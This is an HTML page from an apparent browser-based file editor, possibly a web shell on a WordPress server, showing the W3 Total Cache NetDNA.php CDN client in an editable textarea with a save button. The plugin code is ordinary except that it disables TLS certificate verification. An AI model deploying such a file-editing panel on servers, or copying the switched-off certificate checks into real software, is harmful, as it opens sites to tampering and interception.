<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: NetDNA.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php

if (!defined('ABSPATH')) {
	die();
}

require_once(W3TC_LIB_DIR . '/OAuth/W3tcOAuth.php');
require_once('W3tcWpHttpException.php');

/**
 * NetDNA REST Client Library
 *
 * @copyright 2012
 * @author Karlo Espiritu
 * @version 1.0 2012-09-21
*/
class NetDNA {
	public $alias;

	public $key;

	public $secret;

	public $netdnarws_url = 'https://rws.netdna.com';


	static public function create($authorization_key) {
		$keys = explode('+', $authorization_key);
		$alias = '';
		$consumerkey = '';
		$consumersecret = '';

		if (sizeof($keys) == 3)
			list($alias, $consumerkey, $consumersecret) = $keys;

		$api = new NetDNA($alias, $consumerkey, $consumersecret);
		return $api;
	}

	/**
	 * @param string $alias
	 * @param string $key
	 * @param string $secret
	 */
	public function __construct($alias, $key, $secret) {
		$this-&gt;alias  = $alias;
		$this-&gt;key    = $key;
		$this-&gt;secret = $secret;
	}

	public function get_zone_domain($name) {
		return $name . '.' . $this-&gt;alias . '.netdna-cdn.com';
	}

	public function is_valid() {
		return !empty($this-&gt;alias) &amp;&amp; !empty($this-&gt;key) &amp;&amp;
			!empty($this-&gt;secret);
	}

	/**
	 * @param $selected_call
	 * @param $method_type
	 * @param $params
	 * @return string
	 * @throws W3tcWpHttpException
	 */
	private function execute($selected_call, $method_type, $params) {
		//increase the http request timeout
		add_filter('http_request_timeout', array($this, 'filter_timeout_time'));
		add_filter('https_ssl_verify', array($this, 'https_ssl_verify'));

		$consumer = new W3tcOAuthConsumer($this-&gt;key, $this-&gt;secret, NULL);

		// the endpoint for your request
		$endpoint = &quot;$this-&gt;netdnarws_url/$this-&gt;alias$selected_call&quot;;

		//parse endpoint before creating OAuth request
		$parsed = parse_url($endpoint);
		if (array_key_exists(&quot;parsed&quot;, $parsed)) {
			parse_str($parsed['query'], $params);
		}

		//generate a request from your consumer
		$req_req = W3tcOAuthRequest::from_consumer_and_token($consumer, NULL, $method_type, $endpoint, $params);

		//sign your OAuth request using hmac_sha1
		$sig_method = new W3tcOAuthSignatureMethod_HMAC_SHA1();
		$req_req-&gt;sign_request($sig_method, $consumer, NULL);

		$request = array();
		$request['sslverify'] = false;
		$request['method'] = $method_type;

		if ($method_type == &quot;POST&quot; || $method_type == &quot;PUT&quot;) {
			$request['body'] = $req_req-&gt;to_postdata();
			$request['headers']['Content-Type'] =
				'application/x-www-form-urlencoded; charset=' . get_option('blog_charset');

			$url = $req_req-&gt;get_normalized_http_url();
		} else {
			// notice GET, PUT and DELETE both needs to be passed in URL
			$url = $req_req-&gt;to_url();
		}

		$response = wp_remote_request($url, $request);

		$json_output = '';
		if (!is_wp_error($response)) {
		// make call
			$result =  wp_remote_retrieve_body($response);
			$headers =  wp_remote_retrieve_headers($response);
			$response_code = wp_remote_retrieve_response_code($response);
			// $json_output contains the output string
			$json_output = $result;
		} else {
			$response_code = $response-&gt;get_error_code();
		}

		remove_filter('https_ssl_verify', array($this, 'https_ssl_verify'));
		remove_filter('http_request_timeout', array($this, 'filter_timeout_time'));

		// catch errors
		if(is_wp_error($response)) {
			throw new W3tcWpHttpException(&quot;ERROR: {$response-&gt;get_error_message()}, Output: $json_output&quot;, $response_code, null, $headers);
		}

		return $json_output;
	}

	/**
	 * @param $selected_call
	 * @param array $params
	 * @return string
	 * @throws W3tcWpHttpException
	 */
	public function get($selected_call, $params = array()){
		return $this-&gt;execute($selected_call, 'GET', $params);
	}

	/**
	 * @param $selected_call
	 * @param array $params
	 * @return string
	 * @throws W3tcWpHttpException
	 */
	public function post($selected_call, $params = array()){
		return $this-&gt;execute($selected_call, 'POST', $params);
	}

	/**
	 * @param $selected_call
	 * @param array $params
	 * @return string
	 * @throws W3tcWpHttpException
	 */
	public function put($selected_call, $params = array()){
		return $this-&gt;execute($selected_call, 'PUT', $params);
	}

	/**
	 * @param $selected_call
	 * @param array $params
	 * @return string
	 * @throws W3tcWpHttpException
	 */
	public function delete($selected_call, $params = array()){
		return $this-&gt;execute($selected_call, 'DELETE', $params);
	}

	/**
	 * Finds the zone id that matches the provided url.
	 * @param $url
	 * @return null|int
	 * @throws W3tcWpHttpException
	 */
	public function get_zone_id($url) {
		$zone_id = null;
		$pull_zones =  json_decode($this-&gt;get('/zones/pull.json'));

		if (preg_match(&quot;(200|201)&quot;, $pull_zones-&gt;code)) {
			foreach ($pull_zones-&gt;data-&gt;pullzones as $zone) {
				if (trim($zone-&gt;url, '/') != trim($url, '/'))
					continue;
				else {
					$zone_id = $zone-&gt;id;
					break;
				}
			}
		} else
			return null;
		return $zone_id;
	}

	/**
	 * Retrieves statistics for the zone id
	 * @param $zone_id
	 * @return null|array
	 * @throws W3tcWpHttpException
	 */
	public function get_stats_per_zone($zone_id) {
		$api_stats = json_decode($this-&gt;get(&quot;/reports/{$zone_id}/stats.json&quot;), true);
		if (preg_match(&quot;(200|201)&quot;, $api_stats['code'])) {
			$summary = $api_stats['data']['summary'];
			return $summary;
		} else
			return null;
	}

	/**
	 * Returns list of files for the zone id
	 * @param $zone_id
	 * @return null|array
	 * @throws W3tcWpHttpException
	 */
	public function get_list_of_file_types_per_zone($zone_id) {
		$api_list = json_decode($this-&gt;get(&quot;/reports/pull/{$zone_id}/filetypes.json&quot;), true);
		if (preg_match(&quot;(200|201)&quot;, $api_list['code'])) {
			$stats['total'] = $api_list['data']['total'];

			foreach($api_list['data']['filetypes'] as $filetyp) {
				$stats['filetypes'][] = $filetyp;
			}
			$stats['summary'] = $api_list['data']['summary'];
			return $stats;
		} else
			return null;
	}

	/**
	 * Retrieves a list of popular files for zone id
	 *
	 * @param $zone_id
	 * @return null|array
	 * @throws W3tcWpHttpException
	 */
	public function get_list_of_popularfiles_per_zone($zone_id) {
		$api_popularfiles = json_decode($this-&gt;get(&quot;/reports/{$zone_id}/popularfiles.json&quot;), true);
		if (preg_match(&quot;(200|201)&quot;, $api_popularfiles['code'])) {
			$popularfiles = $api_popularfiles['data']['popularfiles'];
			return $popularfiles;
		} else
			return null;
	}

	/**
	 * Retrieves an account connected with the authorization key
	 *
	 * @throws Exception
	 * @return null|string
	 */
	public function get_account() {
		$api_account = json_decode($this-&gt;get(&quot;/account.json&quot;), true);
		if (preg_match(&quot;(200|201)&quot;, $api_account['code'])) {
			$account = $api_account['data']['account'];
			return $account;
		} else
			throw new Exception($this-&gt;error_message($api_account));
	}

	/**
	 * Retrieves a pull zone
	 * @param $zone_id
	 * @throws Exception
	 * @return null|string
	 */
	public function get_pull_zone($zone_id) {
		$api_pull_zone = json_decode($this-&gt;get(&quot;/zones/pull.json/{$zone_id}&quot;), true);
		if (preg_match(&quot;(200|201)&quot;, $api_pull_zone['code'])) {
			$pull_zone = $api_pull_zone['data']['pullzone'];
			return $pull_zone;
		} else
			throw new Exception($this-&gt;error_message($api_pull_zone));
	}

	/**
	 * Creates a pull zone
	 * @param $zone
	 * @return mixed
	 * @throws Exception
	 */
	public function create_pull_zone($zone) {
		$zone_data = json_decode($this-&gt;post('/zones/pull.json', $zone), true);
		if (preg_match(&quot;(200|201)&quot;, $zone_data['code'])) {
			return $zone_data['data']['pullzone'];
		} else
			throw new Exception($this-&gt;error_message($zone_data));
	}

	private function error_message($o) {
		$m = isset( $o['error']['message'] ) ? $o['error']['message'] : '';

		if ( isset( $o['data']['errors'] ) &amp;&amp; is_array( $o['data']['errors'] ) ) {
			foreach ( $o['data']['errors'] as $k =&gt; $v ) {
				$m .= '. ' . $k . ': ' . $v;
			}
		}

		return $m;
	}

	/**
	 * Retrieves pull zones
	 * @throws Exception
	 * @return array|null
	 */
	public function get_pull_zones() {
		$pull_zones =  json_decode($this-&gt;get('/zones/pull.json'), true);
		$zones = array();
		if (preg_match(&quot;(200|201)&quot;, $pull_zones['code'])) {
			foreach ($pull_zones ['data']['pullzones'] as $zone) {
				$zones[] = $zone;
			}
		} else {
			throw new Exception($this-&gt;error_message($zone_data));
		}
		return $zones;
	}

	/**
	 * Increase http request timeout to 60 seconds
	 * @param int $time
	 * @return int
	 */
	public function filter_timeout_time($time) {
		return 600;
	}

	/**
	 * Don't check certificate, some users have limited CA list
	 */
	public function https_ssl_verify($v) {
		return false;
	}

	/**
	 * Update a pull zone
	 * @param $zone_id
	 * @param $zone
	 * @throws Exception
	 * @return
	 */
	public function update_pull_zone($zone_id, $zone) {
		$zone_data = json_decode($this-&gt;put(&quot;/zones/pull.json/$zone_id&quot;, $zone), true);
		if (preg_match(&quot;(200|201)&quot;, $zone_data['code'])) {
			return $zone_data['data']['pullzone'];
		} else {
			throw new Exception($this-&gt;error_message($zone_data));
		}
	}

	/**
	 * Creates custom domains
	 * @param $zone_id
	 * @throws Exception
	 * @return array|null
	 */
	public function create_custom_domain($zone_id, $custom_domain) {
		$custom_domain =  json_decode($this-&gt;post(&quot;/zones/pull/$zone_id/customdomains.json&quot;, array(
			'custom_domain' =&gt; $custom_domain)), true);
		if (preg_match(&quot;(200|201)&quot;, $custom_domain['code'])) {
			return $custom_domain;
		} else
			throw $this-&gt;to_exception($custom_domain);
	}

	private function to_exception($response) {
		$message = $response['error']['message'];
		if ( isset( $response['data'] ) &amp;&amp; isset( $response['data']['errors'] ) ) {
			foreach ( $response['data']['errors'] as $field =&gt; $error ) {
				if ( isset( $error['error'] ) )
					$message .= '. ' . $field . ': ' . $error['error'];
				else
					$message .= '. ' . $field . ': ' . $error;
			}
		}

		return new Exception($message);
	}

	/**
	 * Returns custom domains
	 * @param $zone_id
	 * @throws Exception
	 * @return array|null
	 */
	public function get_custom_domains($zone_id) {
		$custom_domains =  json_decode($this-&gt;get(&quot;/zones/pull/$zone_id/customdomains.json&quot;), true);
		$domains = array();
		if (preg_match(&quot;(200|201)&quot;, $custom_domains['code'])) {
			foreach ($custom_domains['data']['customdomains'] as $domain) {
				$domains[] = $domain['custom_domain'];
			}
		} else
			throw new Exception($this-&gt;error_message($custom_domains));
		return $domains;
	}

	/**
	 * Returns the zone data for the provided zone id
	 *
	 * @param int $zone_id
	 * @throws Exception
	 * @return array
	 */
	public function get_zone($zone_id) {
		$zone_data = json_decode($this-&gt;get(&quot;/zones/pull.json/$zone_id&quot;), true);
		if (preg_match(&quot;(200|201)&quot;, $zone_data['code'])) {
			return $zone_data['data']['pullzone'];
		} else
			throw new Exception($this-&gt;error_message($zone_data));
	}

	/**
	 * Deletes files from cache
	 * @param $zone_id
	 * @param $files array of relative paths to files to delete
	 *        Deletes whole zone if empty list passed
	 **/
	public function cache_delete($zone_id, $files = array()) {
		if (empty($files))
			$params = array();
		else
			$params = array('files' =&gt; $files);

		$response = json_decode($this-&gt;delete(
			'/zones/pull.json/' . $zone_id . '/cache',
			$params), true);

		if (preg_match(&quot;(200|201)&quot;, $response['code'])) {
			return true;
		} else
			throw $this-&gt;to_exception($response);
	}

}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250804013034%2Fplugins%2Fw3-total-cache%2Flib%2FNetDNA'>🔙 Back</a>